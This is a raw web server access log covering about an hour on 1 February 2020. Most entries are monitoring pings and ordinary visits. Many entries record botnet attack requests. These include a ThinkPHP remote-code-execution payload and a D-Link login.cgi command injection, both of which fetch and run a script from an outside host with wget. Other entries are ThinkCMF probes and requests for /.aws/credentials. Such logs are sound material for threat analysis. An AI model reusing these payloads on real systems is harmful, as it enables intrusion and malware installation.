109.117.198.174 - - [01/Feb/2020:20:45:41 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://185.248.102.144/Dlinkrep.sh%20-O%20-%3E%20/tmp/ff;chmod%20+x%20/tmp/ff;sh%20/tmp/ff%27$ HTTP/1.1" 400 329 "-" "PACKETS/2.0"
212.91.246.72 - - [01/Feb/2020:20:45:45 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [01/Feb/2020:20:46:45 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
1.53.97.34 - - [01/Feb/2020:20:47:19 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
212.91.246.72 - - [01/Feb/2020:20:47:45 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [01/Feb/2020:20:48:45 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
91.193.102.183 - - [01/Feb/2020:20:48:46 +0100] "GET /robots.txt HTTP/1.1" 404 315 "-" "Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/66.0.3359.139 Safari/537.36"
91.193.102.183 - - [01/Feb/2020:20:48:46 +0100] "POST /Admin59f65bd4/Login.php HTTP/1.1" 404 328 "-" "Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/66.0.3359.139 Safari/537.36"
78.46.90.120 - - [01/Feb/2020:20:49:41 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 107) AppleWebKit/534.48.3 (KHTML like Gecko) Version/5.1 Safari/534.48.3"
212.91.246.72 - - [01/Feb/2020:20:49:45 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [01/Feb/2020:20:50:45 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [01/Feb/2020:20:51:45 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [01/Feb/2020:20:52:45 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [01/Feb/2020:20:53:45 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [01/Feb/2020:20:54:45 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [01/Feb/2020:20:55:45 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
177.139.73.197 - - [01/Feb/2020:20:55:56 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/52.0.2743.116 Safari/537.36"
212.91.246.72 - - [01/Feb/2020:20:56:45 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
194.143.249.254 - - [01/Feb/2020:20:57:03 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://185.248.102.144/Dlinkrep.sh%20-O%20-%3E%20/tmp/ff;chmod%20+x%20/tmp/ff;sh%20/tmp/ff%27$ HTTP/1.1" 400 329 "-" "PACKETS/2.0"
212.91.246.72 - - [01/Feb/2020:20:57:45 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
39.77.122.220 - - [01/Feb/2020:20:58:43 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
212.91.246.72 - - [01/Feb/2020:20:58:45 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
1.54.47.215 - - [01/Feb/2020:20:59:10 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
212.91.246.72 - - [01/Feb/2020:20:59:45 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
197.205.1.149 - - [01/Feb/2020:21:00:04 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
42.115.231.81 - - [01/Feb/2020:21:00:13 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
212.91.246.72 - - [01/Feb/2020:21:00:45 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
46.166.187.111 - - [01/Feb/2020:21:01:19 +0100] "POST /editBlackAndWhiteList HTTP/1.1" 404 326 "-" "ApiTool"
212.91.246.72 - - [01/Feb/2020:21:01:45 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
79.114.193.238 - - [01/Feb/2020:21:02:21 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://185.248.102.144/Dlinkrep.sh%20-O%20-%3E%20/tmp/ff;chmod%20+x%20/tmp/ff;sh%20/tmp/ff%27$ HTTP/1.1" 400 329 "-" "PACKETS/2.0"
212.91.246.72 - - [01/Feb/2020:21:02:45 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
193.57.40.38 - - [01/Feb/2020:21:03:01 +0100] "GET /?a=fetch&content=<php>die(@md5(HelloThinkCMF))</php> HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/78.0.3904.108 Safari/537.36"
178.91.77.70 - - [01/Feb/2020:21:03:23 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
77.159.81.115 - - [01/Feb/2020:21:03:31 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/51.0.2704.103 Safari/537.36"
36.67.223.231 - - [01/Feb/2020:21:03:38 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
212.91.246.72 - - [01/Feb/2020:21:03:45 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
77.78.200.56 - - [01/Feb/2020:21:04:00 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/51.0.2704.103 Safari/537.36"
80.26.154.92 - - [01/Feb/2020:21:04:18 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
212.91.246.72 - - [01/Feb/2020:21:04:45 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
2.134.51.7 - - [01/Feb/2020:21:05:02 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
117.90.22.204 - - [01/Feb/2020:21:05:08 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
197.203.1.6 - - [01/Feb/2020:21:05:27 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
31.162.205.133 - - [01/Feb/2020:21:05:32 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
212.91.246.72 - - [01/Feb/2020:21:05:45 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [01/Feb/2020:21:06:45 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
193.57.40.38 - - [01/Feb/2020:21:07:24 +0100] "GET /?a=fetch&content=<php>die(@md5(HelloThinkCMF))</php> HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/78.0.3904.108 Safari/537.36"
212.91.246.72 - - [01/Feb/2020:21:07:45 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
5.76.61.204 - - [01/Feb/2020:21:08:16 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
212.91.246.72 - - [01/Feb/2020:21:08:45 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [01/Feb/2020:21:09:45 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
1.53.142.66 - - [01/Feb/2020:21:10:22 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
183.80.240.212 - - [01/Feb/2020:21:10:24 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
212.91.246.72 - - [01/Feb/2020:21:10:45 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [01/Feb/2020:21:11:45 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [01/Feb/2020:21:12:45 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
68.99.44.240 - - [01/Feb/2020:21:13:23 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://185.248.102.144/Dlinkrep.sh%20-O%20-%3E%20/tmp/ff;chmod%20+x%20/tmp/ff;sh%20/tmp/ff%27$ HTTP/1.1" 400 329 "-" "PACKETS/2.0"
212.91.246.72 - - [01/Feb/2020:21:13:45 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
46.166.187.111 - - [01/Feb/2020:21:14:14 +0100] "POST /editBlackAndWhiteList HTTP/1.1" 404 326 "-" "ApiTool"
42.118.151.149 - - [01/Feb/2020:21:14:42 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
212.91.246.72 - - [01/Feb/2020:21:14:45 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
52.58.36.70 - - [01/Feb/2020:21:15:01 +0100] "GET /.aws/credentials HTTP/1.1" 404 321 "-" "curl/7.47.0"
212.91.246.72 - - [01/Feb/2020:21:15:45 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
13.236.148.239 - - [01/Feb/2020:21:15:50 +0100] "GET /.aws/credentials HTTP/1.1" 404 321 "-" "curl/7.47.0"
212.91.246.72 - - [01/Feb/2020:21:16:45 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
112.72.93.32 - - [01/Feb/2020:21:17:28 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
212.91.246.72 - - [01/Feb/2020:21:17:45 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [01/Feb/2020:21:18:45 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
49.68.246.198 - - [01/Feb/2020:21:19:32 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://176.123.4.234/Dlinkrep.sh%20-O%20-%3E%20/tmp/kh;Dlinkrep.sh%20/tmp/kh%27$ HTTP/1.1" 400 329 "-" "Hakai/2.0"
212.91.246.72 - - [01/Feb/2020:21:19:45 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [01/Feb/2020:21:20:45 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
62.201.240.205 - - [01/Feb/2020:21:21:32 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/52.0.2743.116 Safari/537.36"
212.91.246.72 - - [01/Feb/2020:21:21:45 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [01/Feb/2020:21:22:45 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [01/Feb/2020:21:23:45 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
95.56.224.8 - - [01/Feb/2020:21:24:24 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
212.91.246.72 - - [01/Feb/2020:21:24:45 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [01/Feb/2020:21:25:45 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [01/Feb/2020:21:26:45 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
84.185.72.170 - - [01/Feb/2020:21:27:07 +0100] "GET / HTTP/1.1" 400 329 "-" "-"
42.117.156.193 - - [01/Feb/2020:21:27:35 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
212.91.246.72 - - [01/Feb/2020:21:27:45 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
1.52.0.86 - - [01/Feb/2020:21:28:25 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
212.91.246.72 - - [01/Feb/2020:21:28:45 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
46.166.187.111 - - [01/Feb/2020:21:29:09 +0100] "POST /editBlackAndWhiteList HTTP/1.1" 404 326 "-" "ApiTool"
118.71.76.156 - - [01/Feb/2020:21:29:33 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
212.91.246.72 - - [01/Feb/2020:21:29:45 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
46.219.126.72 - - [01/Feb/2020:21:30:00 +0100] "GET / HTTP/1.1" 400 329 "-" "-"
186.251.253.134 - - [01/Feb/2020:21:30:18 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
212.91.246.72 - - [01/Feb/2020:21:30:45 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
188.18.30.202 - - [01/Feb/2020:21:31:08 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
212.91.246.72 - - [01/Feb/2020:21:31:45 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [01/Feb/2020:21:32:45 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
183.102.221.72 - - [01/Feb/2020:21:33:37 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
212.91.246.72 - - [01/Feb/2020:21:33:45 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
18.204.217.40 - - [01/Feb/2020:21:33:47 +0100] "\x16\x03\x01\x01D\x01" 501 321 "-" "-"
212.91.246.72 - - [01/Feb/2020:21:34:45 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [01/Feb/2020:21:35:45 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
94.51.77.34 - - [01/Feb/2020:21:36:33 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
212.91.246.72 - - [01/Feb/2020:21:36:45 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
94.50.21.32 - - [01/Feb/2020:21:36:47 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
113.22.223.113 - - [01/Feb/2020:21:37:09 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
212.91.246.72 - - [01/Feb/2020:21:37:45 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
103.48.182.23 - - [01/Feb/2020:21:37:55 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
212.91.246.72 - - [01/Feb/2020:21:38:45 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
1.53.193.52 - - [01/Feb/2020:21:38:51 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
1.53.202.6 - - [01/Feb/2020:21:38:52 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
196.219.167.35 - - [01/Feb/2020:21:39:19 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
212.91.246.72 - - [01/Feb/2020:21:39:45 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
114.238.29.106 - - [01/Feb/2020:21:39:59 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
212.91.246.72 - - [01/Feb/2020:21:40:45 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [01/Feb/2020:21:41:45 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
117.197.248.163 - - [01/Feb/2020:21:42:08 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://185.248.102.144/Dlinkrep.sh%20-O%20-%3E%20/tmp/ff;chmod%20+x%20/tmp/ff;sh%20/tmp/ff%27$ HTTP/1.1" 400 329 "-" "PACKETS/2.0"
212.91.246.72 - - [01/Feb/2020:21:42:45 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
103.232.150.131 - - [01/Feb/2020:21:43:05 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://185.248.102.144/Dlinkrep.sh%20-O%20-%3E%20/tmp/ff;chmod%20+x%20/tmp/ff;sh%20/tmp/ff%27$ HTTP/1.1" 400 329 "-" "PACKETS/2.0"
212.91.246.72 - - [01/Feb/2020:21:43:45 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
46.166.187.111 - - [01/Feb/2020:21:44:41 +0100] "POST /editBlackAndWhiteList HTTP/1.1" 404 326 "-" "ApiTool"
1.53.139.217 - - [01/Feb/2020:21:44:45 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
212.91.246.72 - - [01/Feb/2020:21:44:45 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
41.230.83.105 - - [01/Feb/2020:21:44:50 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_11_6) AppleWebKit/601.7.7 (KHTML, like Gecko) Version/9.1.2 Safari/601.7.7"
144.76.102.243 - - [01/Feb/2020:21:44:56 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/64.0.3282.119 Safari/537.36"
212.91.246.72 - - [01/Feb/2020:21:45:45 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [01/Feb/2020:21:46:45 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
84.54.187.137 - - [01/Feb/2020:21:47:24 +0100] "GET / HTTP/1.1" 400 329 "-" "-"
212.91.246.72 - - [01/Feb/2020:21:47:45 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [01/Feb/2020:21:48:46 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [01/Feb/2020:21:49:46 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
